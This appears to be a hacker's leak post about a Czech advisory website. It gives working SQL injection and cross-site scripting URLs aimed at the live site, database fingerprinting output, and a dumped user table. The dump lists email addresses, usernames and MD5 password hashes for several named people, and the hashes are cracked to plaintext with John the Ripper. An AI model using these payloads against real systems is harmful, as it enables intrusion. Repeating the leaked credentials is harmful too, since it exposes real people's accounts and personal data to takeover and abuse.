poradnaprouzivatele.cz

<< http://www.poradnaprouzivatele.cz/  >>
++++++++++++++++++++++++++++++++++++++++

SQLi: http://www.poradnaprouzivatele.cz/poradna-detail.php?mesto=' OR 'ns'='ns

XSS:
http://www.poradnaprouzivatele.cz/e-poradna.php?p=vyhledavani&s='"--></style></script><script>alert(0x00011C)</script>
http://www.poradnaprouzivatele.cz/e-poradna.php?strana=0&p=vyhledavani&s='"--></style></script><script>alert(0x0001E1)</script>


Info db :)

Target:	http://www.poradnaprouzivatele.cz/poradna-detail.php?mesto=' OR 'ns'='ns
Web Server:  Apache
DB Server:  MySQL >=5
Resp. Time(avg): 1092 ms
Current User: 	poradnaprouzi001@archie
Sql Version: 	5.0.54-log
Current DB: 	poradnaprouzivatelecz
System User: 	poradnaprouzi001@archie
Host Name: 	queeg
Installation dir:  /usr/local/
Compile OS: 	pc-linux-gnu
DB User: 'poradnaprouzi001'@'%'
Data Bases: 	information_schema , poradnaprouzivatelecz

email_address,username,password
brno@nrzp.cz Eliška 713060b0e45474086a605470114e0551  101079
--                 Joseff(CZ) 89655eff97d44a6a5fccd6e69364f24a  pocitac
brno@nrzp.cz Leos.Spacil b650b0d9254da70835f5c1d70efa581c 1018spa
r.svecova@nrzp.cz radka švecová f76e534251c8595a9746fde225f9289b  tetris
RadkaPeslova@seznam.cz RadkaPe 91c5eb6720091d19177245e63c0943cc  arwe1n
r.svecova@nrzp.cz svecova 1e97aa13ccc0fb5812f4631b241bff54  svecova369

$dynamic_0$f76e534251c8595a9746fde225f9289b:tetris
$dynamic_0$713060b0e45474086a605470114e0551:101079
$dynamic_0$91c5eb6720091d19177245e63c0943cc:arwe1n
$dynamic_0$89655eff97d44a6a5fccd6e69364f24a:pocitac
$dynamic_0$1e97aa13ccc0fb5812f4631b241bff54:svecova369
$dynamic_0$b650b0d9254da70835f5c1d70efa581c:1018spa

 < Passwords broken application with John the Ripper >